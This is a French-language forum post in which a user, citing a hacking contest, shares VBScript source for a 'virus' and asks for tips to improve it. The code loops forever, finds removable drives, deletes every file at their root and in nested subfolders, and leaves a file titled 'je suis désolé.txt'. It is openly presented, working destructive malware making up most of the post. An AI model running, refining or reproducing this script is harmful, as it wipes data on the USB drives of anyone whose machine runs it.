Bonjour, dans le cadre du hacking, je suis invité à participer à un concours qui consiste à créer un virus en VBS. Pour le mien, j’ai ciblé les disques amovibles. Je vous montre mon code pour me donner des conseilles, des astuces, des idées. Un grand merci pour les réponses !
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 Do while true Set FSO = CreateObject("Scripting.FileSystemObject") For Each Drv In FSO.Drives IF Drv.drivetype = 1 Then Set fils = FSO.getfolder(Drv.path &"\") For Each fichier1 In fils.Files fichier1.delete() wscript.sleep 3000 FSO.createtextfile(Drv&"\je suis désolé.txt") Next Set FSE = CreateObject("Scripting.FileSystemObject") Set virus = FSE.getfolder(Drv.path &"\") For Each dossier In virus.Subfolders Set route1 = FSO.getfolder(dossier.path &"\") For Each fichier2 In route1.Files fichier2.Delete() Set route2 = FSO.getfolder(dossier.path &"\") For Each fichier3 In route2.subfolders Set route2 = FSO.getfolder(fichier3.path &"\") For Each fichier4 In route2.Files fichier4.delete() Next Next Next Next End If Next wscript.sleep 5000 Loop
Partager